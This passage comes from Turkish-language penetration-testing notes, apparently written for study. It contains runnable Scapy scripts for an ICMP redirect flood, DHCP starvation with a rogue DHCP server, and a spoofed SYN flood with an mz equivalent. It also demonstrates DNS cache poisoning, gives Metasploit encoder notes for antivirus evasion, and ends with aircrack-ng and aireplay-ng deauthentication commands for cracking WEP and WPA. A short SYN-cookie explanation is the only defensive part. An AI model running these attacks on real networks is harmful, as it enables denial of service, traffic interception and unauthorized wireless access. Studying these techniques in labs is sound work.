redirPayloadIP.dst=serverIP
fakeOriginalTCPSYN=TCP()
fakeOriginalTCPSYN.flags="S"
fakeOriginalTCPSYN.dport=80
fakeOriginalTCPSYN.seq=444444444
fakeOriginalTCPSYN.sport=55555
# Release the Kraken!
while True:
send(ip/icmpRedirect/redirPayloadIP/fakeOriginalTCPSYN)
Paket Kurbandan adresinden çıkarken kaynak kısmını değiştirmek için iptables kullanılabilir.
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
DHCP
DHCP servisini indirip kendi dhcp servisimizi başlatarak gateway adresini değiştirerek bunu başarabiliriz.
İlk olarak DHCP sunucusundaki havuzu doldurmak (DHCP-Starve)
$ scapy
for i in range(2,255):
mac = str(RandMAC())
dhcpServerID="192.168.255.51"
eth = Ether(dst="ff:ff:ff:ff:ff:ff",src=mac)
ip = IP(src="0.0.0.0",dst="255.255.255.255")
ud = UDP(sport=68,dport=67)
bootp = BOOTP(chaddr=mac)
dhcp = DHCP(options = [ ("message-type","request"),("requested_addr","192.168.255."+str(i)),("server_id",dhcpServerID),"end"])
sendp(eth/ip/ud/bootp/dhcp)
daha sonra bir dhcp sunucusunu ayağa kaldırıp broadcastte dhcp keşfi aryan makinalara ip adresini vererek trafiği inceleyebiliriz. DHCP server olarak dnsmasq örnek verilebilir.
TCP
TCP/Dos saldırısı TCP/SYN paketinin kaynak ip ve port bilgilerini değiştirerek gönderebilir. Servise yönelik yapılacağı zaman daha etkilidir.
Scapy kullanarak şu şekilde yapılabilir:
$ scapy
ip = IP(src=RandIP(),dst="0.0.0.0")
tcp = TCP(sport=RandShort(),dport=80,flags="S")
paket = ip/tcp
send(paket,loop=1)
mz adlı aracı kullanmak istersek:
mz -B >ip< -t tcp "sp=1-65535,dp=80,flags=syn" -c 0
SynCookie
Sunucu ilk açıldığında rastgele bir sayı üretilir ve bu X sayısı kaynak ip, kaynak port ve hedef port ile toplanır. Sunucuya gelen SYN+ACK requestinde gelende seq numarasını bir azaltıp geriye doğru kontrol eder. Bu sayede sunucudaki tablonun doldurulması engellenebilir.
---SYN--->
<--SYN-ACK- # sequenceNumarası = KaynakIP + KaynakPort + HedefPort + X
---ACK---> # Burda Client acknowledgeNumarasına sequenceNumarası+1 yazmalı
Yukarıdaki gibi bir 3 way handshake işleminde, Sunucu tarafında gelen acknowledge kısmını bir azaltıp adresleri kontrol ederek oturumun başarılı bir şekilde devam ettiğini daha az masrafla tablo kullanmadan anlayabilir.
[!] Ubuntu Serverda bu özellik varsayılan olarak aktiftir.
DNS Zehirlenmesi (DNS POISONING)
DNS sunucusuna kendisinde olmayan bir kaydı sorup aynı zamanda sorusunun cevabını da yollaması halinde DNS sunucusunun cacheine istediği kaydı yazdırabilir.
IP adresi bilinmeyen bir siteyi recurse olarak sorgulamazsak.
$ dig 0xf61.com +norecurse
; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com +norecurse
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 13176
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com. IN A
;; Query time: 1 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:03 +03 2018
;; MSG SIZE rcvd: 49
IP adresi bilinmeyen bir siteyi recurse olarak sorgularsak.
$ dig 0xf61.com
; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58885
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com. IN A
;; ANSWER SECTION:
0xf61.com. 3599 IN A 1.1.1.1
;; Query time: 103 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:07 +03 2018
;; MSG SIZE rcvd: 65
Tekrardan recurse sorgu olmadan sorarsak.
$ dig 0xf61.com +norecurse
; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com +norecurse
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50059
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com. IN A
;; ANSWER SECTION:
0xf61.com. 3596 IN A 1.1.1.1
;; Query time: 2 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:10 +03 2018
;; MSG SIZE rcvd: 65
Zafiyet
Riski oluşturan erişim noktasıdır.
Zafiyet Türleri
- Sömürü Tipleri:
- Remote (Uzaktan Erişim sağlanır.)
- Local (Doğrudan Erişim gerekir.)
- 0-Day (Sıfırıncı Gün Açığı)
- Payload
- Reverse: Sunucu -> Client
- Bind: Client -> Sunucu
- PostExxploitation
- Otomatize
- Version/Patch
- exploit-db.com
- cvedetails.com
- 0day.today
- github.com
- Nmap
- --scripts=vulners
- smb-vuln-ms08-67.nse
- --scripts=vulners
- Nikto
- Fuzzing
Zafiyet İstismarı
- Kaynak Koddan
- Uygulama Çatıları
- Metasploit-Framework
- Auxiliary: Sistemi tanımaya yarayan modüller
- Exploit: Zafiyeti sömürmek için kullanılabilecek modüller
- Payload: Zafiyet sömürüldükten sonra çalıştırılabilecek modüller
- Post: Sisteme erişildikten sonra yetki yükseltmek veya verilerini almak gibi modüller bulundurur
- Encoders: Oluşturulan bir çalıştırılabilir dosyayı antivirüs programlarından kaçırmak için modüller.
- Meterpreter: Bir çeşit kabuk(shell) denilebilir. Port yönlendirme, ekran görüntüsü alma ve klavye tuşlarını yakalamak gibi ekstra özelliklere sahiptir.
- Msfvenom
- -p #Payload, -f #Format
- Encoders
- --list-encoders
- -e
- Metasploit-Framework
Bazı CTF sitelerine örnek vermek gerekirse.
Kablosuz ağ güvenliği için eğer donanım monitör modunu desteklemiyorsa harici bir ağ kartına ihtiyaç vardır.
Donanımı dinleme moduna almak gerekiyor.
airmon-ng start wlan0 # wlan0 --> wlan0mon
Etraftaki sinyalleri görmek için airodump-ng kullanılır.
airodump-ng wlan0mon
Donanımı dinleme modundan çıkarmak için.
airmon-ng stop wlan0 # wlan0mon --> wlan0
BSSID: Kablosuz kartının fiziki mac adresi
PWR: Yayının sinyal gücü
Beacon: Kablosuz yönetimi için kullanılan çeşitli yönetim paketlerinin sayısı
Data: Beacon harici geri kalan paketlerin sayısı
CH: Hangi kanalda yayın yaptığını gösterir
ENC: Şifreleme yöntemi
CIPHER: Şifreleme türü. CCMP -> AES
AUTH: Önceden paylaşımlı anahtar(PSK), MGT veya OPEN gibi kimlik doğrulama yöntemini gösterir
ESSID: Kablosuz yayının ismi
[!] airodump-ng -a parametresiyle sadece bağlı olan clientler gösterilebilir
WEP
Üst taraftaki tablodan bu bilgiler elde edildikten sonra alt taraftaki tablodan da kablosuz ağa bağlanmış veya bağlanmaya çalışan diğer cihazları görebiliriz.
Tek bir erişim noktasını dinlemek için kanal, mac adresi vermek yeterliyken daha sonra şifreyi bulabilmek için -w parametresiyle trafiği kayıt edebiliriz.
airodump-ng -c #CH --bssid #00:00:00:00:00:00 -w pcap wlan0mon
Alınan paketlerin sayısını arttırmak için sahte bir oturumla arp paketlerini kullanarak şansımızı arttırabiliriz.
aireplay-ng --fakeauth 1 wlp1s0mon -a #bssid
aireplay-ng --arpreplay wlp1s0mon -b #bssid
Yeterli pakete ulaşılması durumunda aircrack-ng kullanılarak kırılabilir.
aircrack-ng pcap
WPA
airodump-ng -c #CH --bssid #00:00:00:00:00:00 -w pcap wlan0mon
Handshake yakalamak için deauth paketi gönderilebilir.
aireplay-ng -0 100 -a #AccessPoint -c #Client wlan0mon
Dinlemeye başladıktan sonra WPA HANDSHAKE yakalandığında dinlemeyi bırakıp oluşturulan pcap dosyasını aircrack ile sözlük saldırısı kullanılarak kırılabilir.